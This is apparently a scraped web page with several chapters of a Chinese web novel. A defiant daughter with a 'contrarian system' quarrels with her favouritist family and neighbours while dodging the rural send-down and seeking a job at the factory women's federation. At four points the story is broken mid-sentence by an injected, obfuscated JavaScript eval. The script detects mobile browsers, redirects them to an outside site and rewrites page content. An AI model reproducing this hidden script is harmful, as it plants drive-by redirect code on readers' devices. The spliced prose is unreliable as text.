宋上进李玉华宋秋实他们坐在一边,宋知南自己坐在另一边,屋里气氛沉闷压抑,颇有些三堂会审的架势。 宋上进清清嗓子,尽量用温和的语气说道:“小四啊,刚才大家伙说的都是真的?” 宋知南满不在乎地说道:“是真的啊,怎么了?他们能说我,我不能说他们?” 李玉华咬牙骂道:“他们比你年纪大,比你辈分长,说你几句怎么了?你要是没做错,人家会说你吗?” 宋知南看着李玉华冷声说:“首先,我没做错;其次就算我做错了,跟他们有个屁的关系。你觉得他们说我是因为我的问题?其实是因为你们的问题,他们怎么不敢说厂长的闺女,怎么不敢说革委会主任的闺女?为什么就敢你说你们的闺女,还不是因为你们俩窝囊没本事,人家不拿你俩当回事,父母窝囊,儿女遭殃!” 杠精系统及时播报:杠精值加1。 李玉华和宋上进异口同声:“你——” 夫妻俩气得胸口发闷,宋知夏像平常一样当起了父母的贴心小棉袄:“爸妈你们消消气,三妹就是这性格,你们别跟她一般见识。” 宋秋实早就看宋知南不顺眼了,也不废话,直接上手就打,他的巴掌刚抬起来,胳膊就被宋知南抓住了,宋知南抬起一脚狠踹在他的裆间,宋秋实惨叫一声,弯腰用双手捂住裆部。 宋上进和李玉华吓坏了,赶紧去扶大儿子。 宋上进急声问道:“秋实,你怎么样?踢坏没有?” 李玉华像个泼妇一样往地上一坐,抱着脚嚎啕大哭起来:“我的天爷,我做了什么孽,生出这么不孝的女儿,早知道小时候把你掐死算了。” 宋知南站在安全距离外,凉凉地说道:“对啊,你当初为啥就管不住自己呢?是我让你生的吗?你当年跟我打过招呼吗?生一个就罢了,噗噗下五个崽,生下来当奴隶一样养着,还觉得自个儿可伟大了。我还不如投胎在狗肚子里呢,人家狗爸狗妈可不会重男轻女,可不会苛待狗闺女。做父母的不如狗,狗见了你们心头都能涌起浓浓的自豪和骄傲。做为一个人,连狗都比不上,你俩惭不惭愧?丢不丢脸?” 李玉华此时已经出离了愤怒,一个骨碌从地上爬起来就要去打宋知南。 宋知南一个箭步冲过去,一把薅过宋冬宝挡在自己面前,大声叫嚣着:“来啊,你打,你不打不是人。” 宋冬宝头脑一片空白,吓得不敢动弹,傻傻地看着这一幕。 李玉华白眼一翻登时晕了过去,众人慌作一团,有掐人中的,有拼命叫人的。 宋知南冷眼旁观,这个妈她知道,说不过人就装晕吓唬你,这招是跟她奶学的。 宋知南可不会惯着她,想晕就晕,晕晕更健康。 宋知夏抱着李玉华心疼得直掉眼泪,她看着宋知南,用悲愤的语气控诉道:“三妹,你咋这么狠心?妈都晕倒了,你都不过来看看,她可是你亲妈呀,你太让人寒心了。” 宋知南下定决心:“行,我来看,我会针灸。” 说着,她进屋拿了一根又粗又长的针,对着李玉华的胳膊胡乱扎下去。 李玉华疼得立即“清醒”过来,破口大骂:“你这个黑心烂肺的,想扎死我!” 宋知南一脸无辜:“这是二姐教我的,她说你总是装晕烦死了,说下回你再晕,她就跟我对暗号让我拿针扎,她刚才给我暗号了,我就扎了。” 宋知夏瞳孔地震:“……”她什么时候这么说了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565008|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋知南摊手:“你看着我干什么?你怎么证明你没说?咱们都是一个窝的狐狸,谁不知道谁的底细,你非要在那儿假装孝顺。” 李玉华这次真的伤心地哭了起来,宋知夏也跟着一起哭:“呜呜,三妹诬陷我。” 两人正哭得起劲,突然听见门外有异响,宋上进赶紧去看看,果然有人在外面偷听。 他一脸颓丧,完了,这下他们家的名声要完了。 他无力地说道:“大家都别闹了,邻居们都在暗地里笑话咱们家呢。” 宋知南在旁边幸灾乐祸地说:“是啊,邻居们会笑话咱们家庭不和睦,以后大哥小弟找对象就麻烦喽,哪个好人家的姑娘愿意嫁进咱们家呀。” 宋上进和李玉华的脸色不由得一白,两个儿子可是他们的命根子。 宋知夏斜了宋知南一眼:“你也是咱们家的一份子,你这样闹下去,你以为你能落得了好?咱们姑娘家比男孩更需要好名声。” 宋知南无所谓地说:“无所谓,不在乎,我名声再坏,也不会像你一样自甘堕落找一个那么丑的玩意儿。”名声有什么用?能吃还是能喝? 宋知夏被戳中痛处,气得说不出话来。 宋知南收获了一大波杠精值。 看着宋知南这副死猪不怕开水烫的混蛋模样,大家恨得咬牙切齿却又无可奈何。 这场闹剧终于匆匆结束,李玉华擦干眼泪带着宋知夏去厨房做饭。 宋秋实捂着裆回房躺着,宋冬宝也跟着回屋。 宋知南也回屋躺着,宋上进犹豫片刻跟着进了宋知南的房间,做出一副慈父的样子要跟宋知南谈心。 “小南,爸知道让你下乡你心里委屈,其实爸也舍不得,手心手背都是肉啊,做父母的哪有不心疼自己孩子的,这不是没有办法吗?” 宋知南打了哈欠:“手心手背都是肉不假,可我是你的手指甲,可以随时放弃。你没办法咋不让你的两个儿子下乡?他们难道不是人?” 宋上进被噎得说不出话来。 宋知南再次收获一个杠精值。 宋上进继续搜肠刮肚地劝:“小南,爸不知道你是受啥刺激了,你以前可是个乖孩子,在咱们院里,你虽然不是最听话最懂事的,可也不是最落后的。你现在……” 宋知南:“宋同志,我不知道你的心咋那么大,皮咋那么厚,天天跟人比孩子,你咋不比自己呢?你看隔壁院里的王玲他爸,人家是厂长,你再看看你,这么多年,你工作努力了吗?你上进了吗?” 宋上进再次无言以对。 他无奈地说道:“怎么地?人家儿不嫌母丑,你还嫌弃你爸我不上进了?” 宋知南坦率地承认:“是的,我嫌弃。但是,是你先嫌弃儿女的。为什么你可以嫌弃我,我不可以嫌弃你?俗话说,龙生龙凤生凤,老鼠的儿子会打洞,自己明明是只老鼠非要望子成龙望女成凤,你咋不上天呢?” 宋上进哑口无言。 杠精系统:杠精值加2。 5. 第5章杠出新花样 半小时后,宋家开始吃晚饭。 宋知南不用人叫,主动出来吃饭。 李玉华的气还没消,狠狠地瞪着她,家里其他人也一齐看着她,用目光审判她。 宋知南仿若没发现似的,自顾自地坐下,还热情地招呼其他人:“大家愣着干啥?都别客气,赶紧坐下来吃吧。” 众人面面相觑,无人出声。 晚饭就是面条和咸菜丝,宋知南也不嫌弃,能吃就行。 她盛了满满一大海碗面条,优雅而凶猛地吃了起来。 宋秋实边吃饭边说道:“爸,妈,今天我去海林家,海林他哥说,这一批知青报名时间再过几天就该截止了,咱们家是不是得去报名了?” 说完,他看了宋知南一眼,一看到她,自己某个地方就隐隐作痛。 宋上进叹了口气,小心地看了宋知南一眼。 李玉华放下碗,说:“那就别拖了,小南明天上午就去街道办事处报名,别等人家上门做思想工作,到时候又该说咱们家思想觉悟不高了。” 宋知南抹抹嘴,说:“我也看出来了,我在家里很不受欢迎。我也懒得争了,下乡就下乡。” 众人听她这么说,不由得松了一口气,不管她怎么闹,能同意下乡就行。 宋知南话锋一转:“但是,我是有条件的。” 李玉华眼睛一瞪:“你跟谁提条件呢?” 宋上进在桌子底下悄悄踢了一下李玉华的腿,示意她先别说话。李玉华忿忿不平地闭口不言。 宋上进温和地问道:“小南,你有啥条件就提,我跟你妈能满足的尽量满足你。” 以前他是一点钱都不想给,甚至还想把国家发的安置费给截留下来。但现在闺女这么一闹,他怕生出什么岔子来,就想拿钱安抚她。 宋知南揣摩着家里的情况,也没狮子大开口,就说:“我要200块钱,三十斤粮票,七尺布票,安置费也归我。” 李玉华惊呼:“你把我卖了看看值不值这么多钱?” 宋知南实话实说:“别想了,你确实不值这个价。” 杠精值加1。 李玉华:“我x你妈,你这个小贱种。” 宋知南:“你就是我妈,你想x自己你可以试试,我是你俩的种,我贱你俩也贱。骂人之前先想想人物关系。” 李玉华气了个倒仰。 杠精值再加1。 宋上进不耐烦地制止李玉华:“行啦,你别骂了。” 接着,他看着宋知南说:“小四,不是爸舍不得给你这么多,实在是咱家没这么多钱,我跟你妈养你们几个不容易,每年还得给你爷奶寄钱……” 宋知南打断他的话:“你别跟我说这些,咱家有多少钱,我心里有数。我又没全要,你们当初可是偷偷商量,要是宋秋实下乡,你们就打算给这么多,为什么能给他就不能给我?你们要实在舍不得,就让宋秋实下乡呗。” 宋秋实差点跳起来:“不行,我不下乡。” 宋知南两手一摊:“那就不完了,你们选一个,要么出儿子要么出钱,啥也不出,想得美。你们要是不给钱,我就不下乡,我还要闹得人尽皆知。若是光闹还不行,我就去革委会举报,那么多罪名随便编一个就够你们喝一壶的,不信你们试试。” 李玉华像看怪物似的看着宋知南:“你、你为啥变成这个样子?你跟我说,是谁在背后怂恿你?是不是你大娘教你的?” 宋知南嗤笑一声:“是我外公教的。” “你胡说八道!” “信不信由你。” 宋知南吃完面条,迅速起身:“你们好好商量商量,商量多久都可以,我不在乎。” 说完,她转身回屋去了。 宋知南回屋后,大家开始商量起来。 宋知南躺在床上闭目养神,离出发还有三天,这几天得稳住家里人,最好让他们最后一刻再知道真相比较稳妥。明天少不得去知青办走走过场。 宋家人商量了一晚上,宋上进和李玉华最终决定妥协,不管怎样,先把宋知南这个小祖宗弄上火车再说,先答应她的条件,省得她闹。 但是两人都不可避免地觉得肉疼,200块钱30斤粮票呢,本来这些钱是给两个儿子存的,打算给他们买工作和娶媳妇用,现在倒好,被宋知南这个败家的给要去了。 李玉华决定了,以后一定要在宋知南的彩礼上找补回来。 一夜无话。 次日清晨,宋知南是被院子里的吵架声给吵醒的。 原来是魏芬和她男人洪长山干起来了。 宋知南听了几耳朵就弄清了吵架梗概,洪长山嫌弃魏芬只生了两个女儿,想再生个儿子,魏芬迟迟怀不上,洪长山的老娘说是因为魏芬的工作太累才没怀上,让她把工作让给小叔子,她辞职在家备孕。魏芬自然不愿意,两人便吵吵起来了。 洪长山觉着自己占理,嗓门特别洪亮:“你让街坊邻居评评理,我妈想抱孙子,我想要儿子,有错吗?咱家只有两个丫头,你生不出儿子是想让我绝后?我要是绝了后,我对得起洪家列祖列宗吗?” 魏芬带着哭腔辩解道:“领袖都说了,妇女能顶半边天,咱家的两个姑娘咋就不如小子了?我不是不想生,我是身体不好,你好歹读过书,又是工人,别啥都听咱娘的。” 洪长山的声音越来越嚣张:“魏芬,你啥意思,你是想鼓动我不孝是吗?你的心思可真狠毒,我就知道,你仗着自个是城里人,一直看不起我,看不起我乡下的亲人。” 魏芬急声辩解:“我、我不是这意思。” 众邻居你一句我一句地开劝,大多是站在洪长山这边。 宋知南对魏芬印象不错,是为数不多替自己说话的邻居。听见她被人步步紧逼,当下正义感起来了,女人就得帮助女人,何况杠人还有收益。 她腾地一下翻身下床,脸也没洗,牙也没刷,推开门,扒拉开看热闹的邻居,指着人高马大的洪长山高声问道:“洪长山,来来,我问你。你刚才说魏芬嫂子不生儿子对不起你们洪家的祖宗是吗?” 洪长山不明白这宋知南要干啥,但对方既然问了,他也就回答了,“是呀,怎么了?” 宋知南进一步发问道:“那我再问你,你们洪家的祖宗是不是希望你上学时名列前茅,工作时干出一番大事业,为建设社会主义做贡献,最好几样全占,这样才真正光宗耀祖对不对?” 洪长山愣了一下,他心里不耐烦,但还是点点头:“是啊,你问这些干啥?我们两口子吵架,你一个小姑娘瞎参和啥?” 众邻居还记得宋知南昨天晚上的吵架功力,看热闹不嫌事大,纷纷起哄道:“长山,人家小宋也来帮忙调停呢。” 魏芬朝宋知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565009|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南笑笑,张嘴想说什么,却听见宋知南接着问道:“洪大哥,你上学时考过第一吗?工作时处处领先吗?你为厂里做出什么大贡献了吗?” 洪长山脸色微变,这是哪壶不开提哪壶呀,他上学成绩一般般,工作能力也是一般般,他皱着眉头不耐烦地说:“小南,你到底会不会说话?你净埋汰我干啥?” 宋知南环视众人一圈,微微一笑:“我就是想告诉你,你对不起祖宗也不是第一次了,你是一直都对不起。为啥以前不见你惭愧不见你奋发图强?咋到了生孩子这一关,你怎么变得突然孝顺了?我很费解呀。” 众人先是一愣,接着哄堂大笑,有人觉得怪有道理,但也有很多人不认同。 洪长山气得脸黑似铁。 魏芬愣了一会儿,随即便想明白了,她粲然一笑,上前拉着宋知南的手说:“妹子,你说得真好,把我想说又没说出来的话都说出来了。” 宋知南拍拍魏芬,大声安慰道:“嫂子你别伤心也别惭愧,那是他的祖宗,又不是你的祖宗,他自己干啥啥不行都不惭愧,你惭愧个啥?而且,你瞧他那个熊样,他祖宗肯定更熊,自己都混不好,哪来的脸让自己的鳖孙光宗耀祖?还说什么别人看不起他们乡下人,就他这种满脑子封建思想,还拎不清,人家看得起他才怪。别人不是看不起乡下人,就是单纯看不起他本人。” 洪长山此时已经气得说不出话来,只是拿一双牛眼瞪着宋知南。 大家觉得略有道理,但没谁真去应和。 就在这时,杠精系统发出播报:宿主好宿主棒,杠出了新花样,杠精系统升级为二级杠杠,杠精值加五。 宋知南心中惊喜,杠精系统竟然还能升值,真是个好统子,今天收获真不错。 有人喜就有人气,喜的人是魏芬和宋知南,气的是洪长山,他冷冷地扫了一眼宋知南:“我们两口子的事跟你没关系,我劝你不要多管闲事。” 宋知南理直气壮地说:“都是街坊邻居,大家就应该互相照顾。照你这么说,咱们院里这么多邻居都是多管闲事喽,你这么说太让人寒心了,以后你有啥事,我们大家都不敢管了。” 洪长山可不想得罪一大片,赶紧分辩道:“我不是这意思。” 宋知南步步紧逼:“你就是这个意思。” 洪长山继续辩解,宋知南继续步步紧逼,两人一下子歪了主题。 众人赶紧相劝:“好啦好啦,时候不早了,大家赶紧去上班吧,别迟到了。” 大家也不再耽搁,上班的上班,出门的出门。 宋上进和李玉华收拾好东西出来,得知自己家老四又出名了,又把一个邻居给怼了。两人相视苦笑,好在这个小祖宗快下乡了,要不然,这样下去,他们家得把所有邻居给得罪个遍。 魏芬也要上班,她十分不舍地松开宋知南的手:“小南,我上班去了,等我下班咱们再聊。” 宋知南笑着说:“嫂子你赶紧去吧,我一会儿去知青办。” 魏芬作为邻居自然知道宋家的事,她看了一下周围,小声说:“小南,你要为自己着想,乡下很苦,比你想像中的还苦,你最好别下乡。” 宋知南微微一笑:“谢谢嫂子提醒,我明白的。” 大家陆续离开后,宋秋实也挎着帆布书包,打扮得人模人样地出来了,“小南,走吧,咱们去知青办报名。” 6. 第6章工作机会 宋知南和宋秋实一起朝街道办走去,一路上,宋知南东张西望,走走停停。宋秋实等得不耐烦了,就像往常一样吼了一声:“你别磨蹭了行不行?” 宋知南废话不多说,走过去踹了宋秋实一脚。 宋秋实怒目而视,抬起胳膊就要还手。宋知南一把拽住他的手指用力一掰,宋秋实惨叫出声。 宋知南笑着威胁道:“别惹我,否则我弄残你。” 宋秋实想要反抗,但宋知南那双手像是铁钳子一样有力,挣也挣不开。 宋秋实小声骂道:“宋知南,你有病。” 宋知南笑着说:“对啊,咱们全家都有病,你比我病得重。” 说完,她用力甩开了宋秋实,宋秋实觉得自己的手指要断了,钻心地疼。 这下,宋秋实再也不敢催促宋知南了,不但不敢催,甚至特意离她远远的,就怕她再发疯。 宋知南说自己要去报名,把户口本从宋秋实那儿要了过来,她一路晃晃悠悠地到了街道办事处的知青办公室前,不出意外的,外面围了很多年轻人。有的是来报名,有的是来打听下乡政策和下乡待遇。 宋知南挤进人群,一是想趁机打听点消息,二是打算等人多了她再进办公室里混水摸鱼,好骗过一旁监工的宋秋实。 宋知南刚挤进来,就听见有人在叫她:“宋知南,你也要下乡?” 她扭头一看,喊她的人是一个可爱的圆脸姑娘,她见此人有些面熟,赶紧在脑中飞快地搜索信息,这人是她的初中同学王小霜,她旁边站着的那个面容清瘦、戴眼镜的女生是隔壁班的才女陆诗月。 一看到熟人,宋知南面带笑容热情地招呼道:“王小霜,陆诗月,你们也来报名?” 陆诗月一脸意外:“咱们不是一个班的,你竟然记得我的名字?” 宋知南:“你可是咱们学校有名的才女,老师总是拿你的作文当范文在班里读,我怎么会不记得你的名字?” 陆诗月矜持地笑了笑。 王小霜笑着附和道:“就是啊,咱们学校谁不认识咱们的陆大才女。” 陆诗月不好意思地推了一下王小霜。 两人闹了一会儿,王小霜接着跟宋知南说:“我哥非要去下乡,可是他的身体不太好,我想干脆我去算了,我爸妈和我哥都不同意,说乡下不适合女孩子呆。我就过来打听打听情况。知南,你呢,你家是你下乡还是你哥下?” 宋知南说:“我哥特别想下乡,我今天来问一下安置费的事。” 说到这里,她特意压低声音说道:“不过我听邻居嫂子说,女孩子下乡一定要特别谨慎,乡下不光是条件艰苦的问题,条件苦我们是能克服的。但是,你知道的,有些地方还没开化,不把女人当人,我们这些外地的女孩下乡,就是当地流氓无赖口中的猎物,到时离家又远,消息又闭塞,真是呼天天不应,叫地地不灵。” 王小霜和陆诗月都听明白了,两人的脸色都不太好看。 陆诗月张了张嘴,还想接着问些什么,就见工作人员来上班了。上次的那个短发女同志大声喊道:“报名的可以进来了,别挤别挤,都能报上。” 宋知南看了一眼站在人群外圈的宋秋实,便像一条鱼似的挤进人群,挤到办公桌前问知青安置费的事。 短发女同志回答道:“下乡插队的知青每人可获得60元的安家费,由国家直接拨给当地知青办。你们到达插队的地方再发给你们。还有,你们刚下乡时,按规定每月可以领取3块钱的生活补贴,直到明年夏收开始。为了帮助你们安家,当地给每人提供0.1立方米的平价木材。” 宋知南有些失望,她还以为现在就能领安置费呢。 宋知南又问了其他一些杂七杂八的问题,磨蹭够了时间,再慢慢挤出人群。 她走到宋秋实身边,翻了个白眼:“我已经报完名了,这下你放心了吧。” 宋秋实有些不信:“真的报完名了?” 宋知南像是被气到了,一把拉起宋秋实挤进人群,站在办公桌前,对工作人员笑着说:“同志,这是我哥,他不放心我,非要亲自问问我报名报上没有。” 那个女同志对宋知南还略有些印象,好像是替她哥哥报过名,不过她这会儿忙得焦头烂额,便飞快地对宋秋实说道:“这位同志请放心,名已经报上了,错不了的。” 宋知南要的就是这句话,她怕宋秋实再多问两句就露馅了,便用力推搡着他往外走:“这下你放心了吧,赶紧走吧,别耽误别人报名。” 宋秋实这下也彻底放了心,他斜睨着宋知南:“行啦,你回家去吧。” 任务已经完成了,他可以找朋友玩去了。 宋秋实脚步轻快地离开了,宋知南松了一口气,再糊弄两天就可以圆满完成任务了。 等到宋知南出来时,王小霜和陆诗月在边上等着她。 王小霜说:“我打算回去再跟家里商量商量。” 宋知南好心多劝了几句:“小霜,你爸妈和你哥是真心为你着想,你别辜负了他们的心意。你哥下乡顶多吃点苦,安全没问题。男人嘛,多吃苦是对他们的锻炼。再说了,他一个当哥哥的让妹妹替他下乡,他心里能好受吗?别人会怎么看他?这对他的名声也不好。大不了以后你们家多给他寄钱寄粮票补贴他就是。” 宋知南这么一说,把王小霜心中的愧疚和顾虑也打消不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565010|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王小霜点头,表示听进去了宋知南的话。 宋知南也没厚此薄彼,问陆诗月:“诗月那你呢?” 陆诗月习惯性地推推鼻梁上的眼镜,说:“我的工作已经安排好了,我今天是陪小霜来的。” “那太好了。” 陆诗月心思敏感细腻,她能感知到宋知南是真心替自己高兴,便也多问了一句:“你的工作问题解决了吗?”她听小霜说过,宋知南在家待业,她父母对她还不好。 宋知南叹了口气:“我还在想办法呢,你们若是有什么关于工作方面的消息,记得告诉我哈,临时工也行,我不挑。要是能找到工作,我一定请你们下馆子。” 两人都笑了:“好的,我们帮你留意着。” 王小霜急着回家,三人也没多聊,便就此告别。 宋知南没有回家,她接着在街上闲逛。 宋知南不知道的是,此时自己的名字已经传遍了纺织厂的各个车间。 起因是她骂洪长山的那些话,魏芬一上班就跟自己的小姐妹聊起了吵架的事。 她甚至都没有加油添醋,直接原话复述,但奈不住宋知南骂人骂得又狠又准,还骂到了点子上,女工们听得心头大为爽快。 “以后我家那口子跟我吵架,我就把这话甩给他。‘你对不起祖宗也不是第一次了,你是一直都对不起。为啥以前不见你惭愧不见你奋发图强?咋到了生孩子这一关,你怎么突然变孝顺了?’” “对,他的祖宗是他的,又不是我的,跟我啥关系。” 就这么一传十,十传百,很快就传得人尽皆知。 甚至还有女工说:“小宋同志这口才就应该进工会当女职工代表,为咱们女工谋福利。” 还有的女工说:“我觉得应该进妇联,咱们以前的妇联就知道和稀泥。就应该多几个小宋同志这样的工作人员,把那些不当人的男人和婆婆们骂得狗血淋头。” “对对,就应该这样。” 大家只是顺口说说,过过嘴瘾罢了。魏芬却真的听进去了。 她想着宋知南还没有工作呢,她要是有了工作就不用下乡了。这孩子也怪可怜的,她看看能不能顺手帮一把。想到这里,她就向人打听哪个地方招工,临时工也行。 功夫不负有心人,还真让魏芬打听到一点消息,有人悄悄告诉魏芬:“我听说,咱们工会的妇联办公室要招人,原来的妇女主任病退了,新上任的这个要搞个什么新官上任三把火……” 魏芬听得眼睛发亮,上午大家还说宋知南适合去妇联工作,这不机会就来了。 等到下工铃一响,魏芬就迫不及待地下班了,她得赶紧回去把这个消息告诉宋知南。 7. 第7章咱臊死她 纺织厂食堂饭菜便宜好吃,再加上工人中午休息时间不长,魏芬一般是在食堂吃午饭,吃完饭在休息室趴着午睡一会儿,省得下午上班犯迷糊。今天为了宋知南工作的事,她特意跑回家一趟。 宋爸宋妈在食堂吃饭,宋知夏跟对象出门了,宋秋实不知道死哪儿去了,家里只有宋知南和宋冬宝两人。以前自然是宋知南做饭,现在嘛,这活当然是宋冬宝的。 宋冬宝生无可恋地在厨房切土豆丝,他一边切菜一边在心里咒骂,只盼着这个恶魔三姐赶紧下乡。 宋知南则搬个小凳子坐在门口看书,背《湖南老爷爷语录》,书到用时方恨少,就得平时准备好。 魏芬一进大杂院就看到了宋知南,她激动地说:“知南,我告诉你个好消息。” 宋知南不知道什么好消息,但她弟还在家里,她怕宋冬宝走漏了消息,便机灵地朝魏芬使了个眼色,示意她进屋说。魏芬很快会意,跟着宋知南进了屋,两人关上房门,开始说话。 魏芬把自己怎样跟小姐妹说自己家里的事,大家怎么讨论她的事,怎样夸赞宋知南,以及她是如何打听到妇联招工的事,全部告诉了宋知南。魏芬又担心这事没确定,宋知南的希望落空,就谨慎地补充一句:“我只是听说这个消息,具体的情况我也不清楚,要不你先去问问,成不成的我也不敢保证。” 宋知南拉着魏芬的手,感激地说道:“嫂子,不,以后我不叫你嫂子了,我叫你姐,你跟我亲姐没差别。魏姐,谢谢你告诉我这个好消息,无论成不成都不影响我对你的感激,只有你是真心替我着想。下午我就去问问招工的事,这事真要成了,我一定请你吃饭。” 魏芬摆摆手:“吃饭那都是小事,你得抓紧时间了,这消息可不止我一个人知道,别人也知道。” “好的,我等到她们一上班就过去。” 宋知南还想向魏芬打听打听妇女主任的性情和履历,只是魏芬也不清楚。 她决定下午自己去打听。 “魏姐,我还得请你帮个忙,这事你能不能先替我瞒着,你也知道我家的情况,我怕我爸妈知道了会节外生枝。” 做为邻居,魏芬自然知道宋爸宋妈的偏心,便点头答应:“你放心,事成之前我谁也不告诉。” 魏芬的时间很紧,跟宋知南说完话就离开了。 魏芬一离开,宋冬宝就鬼鬼祟祟地凑过来问:“三姐,魏嫂子跟你说什么了?神神秘秘的。” 宋知南张口就来:“她说要给你介绍个对象,你说是不是好事儿?” 宋冬宝不好意思地扭过头:“哼,净拿我开玩笑,你不说拉倒。” “赶紧给我做饭去,土豆丝切细些,就你这做饭水平将来结了婚,不得被丈母娘骂死?” 宋冬宝无言以对,这话可真新鲜,他只听说过女孩不会做饭被婆婆骂,没听说过男人不会做饭被丈母娘骂的,可他又不敢回嘴。唉,这日子真憋屈呀,何时是个头。 宋冬宝继续生无可恋地切着土豆丝,午饭是炝炒土豆丝、拌黄瓜,主食是杂面馒头。 宋知南一边吃饭一边挑刺:“这土豆丝切得跟你手指头一样粗,以后好好给我练练,连个饭都做不好,以后干什么行。” 宋冬宝蔫头蔫脑,一脸委屈:“能做熟就不错了,我以前都没做过饭。” 宋知南眼睛一瞪:“以前是以前,现在是现在。以后你给我好好学做饭。” 宋知南吃完饭,把碗一推,吩咐宋冬宝:“你去把锅和碗洗了。” 宋冬宝又不干了:“三姐,饭是我做的,你还让我洗碗,这公平吗?” 宋知南淡声说:“这时候跟我要公平了?以前饭是我做,碗是我洗,甚至你的衣裳都是我洗的,你咋不说公平呢?” 宋冬宝噎得接不上话来。 宋知南也不说话,只是静静地盯着着宋冬宝看,开始咔嚓咔嚓地活动手指。 宋冬宝吓得一激灵,不好的回忆立即涌上心头,他悲愤地说道:“我洗我洗还不行吗?” 宋冬宝委屈巴巴地洗碗去了。 宋知南回屋换了身最体面的衣裳,只是她最体面的衣裳也不体面,白衬衫上补了一块补丁,唯一没有补丁的裤子短了一截。 她果断地去翻宋知夏的衣柜,从里面找出一件新衬衫和半旧的军绿色裤子,反正宋知夏也爱翻她的东西,这下扯平了。 穿好衣裳,宋知南重新梳头发,她留着两根辫子,又细又黄,看着怪别扭的,她找了把剪刀,咔咔几下把头发剪到脖子这儿,梳了两根短辫,看着顺眼多了,明天去理发店剪个短发。 宋知南端详着镜中的自己,这张脸跟她前世很像,两个巴掌大的正常脸,五官明朗,轮廓清晰,眼睛不大不小刚刚好,笑的时候眉眼弯弯,鼻梁秀挺。就是皮肤有点黄,显得气血不足。她个子不矮,但有点过瘦,不够健壮,以后多补补就好了。 收拾停当,宋知南把初中毕业证和户口本放进书包,昂首挺胸走出门。 宋冬宝已经刷完碗了,厨房也收拾干净了,宋知南路过厨房顺便检查了一遍,难得表扬了一句:“干得不错,以后继续保持。” 宋冬宝面露喜色。 宋知南走路去纺织厂,这会儿正值午休时间,门口有很多人进进出出,门卫以为她也是厂里的女工,连问都没问。 宋知南打听了妇联办公室的位置,快步走过去。 妇联办公室跟厂委和工会办公室之间有一小段距离,为了方便来访人员进出,办公室的门开在另一边。 此时妇联办公室门口是相当热闹,围了一大群人,男女老少都有。 里面传出时而高昂时而激动的说话声,听声音像是夫妻在吵架,请妇联来评理。 宋知南站在外围听了一会儿,再加上围观群众的议论,已经大体弄清了事情的来龙去脉。 这对夫妻,男的叫林光宗,是厂里的技术员;女的叫王小雪,是纺织工人,家有两个孩子,本来他们俩是双职工,日子过得还不错。 林光宗的老家是乡下的,老家亲戚特别多,隔三差五就来一堆亲戚,每次都是连吃带拿的。王小雪刚开始时还热情招待,时间长了就受不了,两人就开始经常吵架。 矛盾的爆发点是这次林光宗的弟弟妹妹侄子外甥都来了,他们一来,不但把两个孩子的房间占了,还到处翻东西,小姑子穿王小雪的衣裳,用她的雪花膏,小叔子跟孩子抢吃的,侄子还跟俩孩子打架。王小雪的忍耐到了极限,彻底爆发了。要把人全部赶走,林光宗自然不同意,两人大吵一架。王小雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565011|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找妇联主持公道,林光宗也跟着过来,要妇联评评理。 恰好今天的妇女主任贺胜男不在办公室,里面只有一个新来的小干事何黛。 何黛劝也劝不住,人又没有威望,两人就在办公室门口大吵起来。 宋知南一看何黛年纪小,脸皮薄,又是新来的,明显应付不了这俩人,顿时觉得自己的机会来了。 她硬挤进人群,来到林光宗和王小雪面前,此时的两人已经吵红了眼,林光宗双眼赤红,情绪异常激动,再吵下去就要动手了。 林光宗大声指责王小雪:“我是我们老林家最有出息的,我爸妈这些年过得很不容易,我上学时,家里的亲戚没少帮忙,我现在工作了进城了,回报他们一点不过份吧?我当初跟你搞对象时,就是看中你孝顺大方不计较,没想到结婚后你就变了,变得斤斤计较,变得刻薄尖酸。” 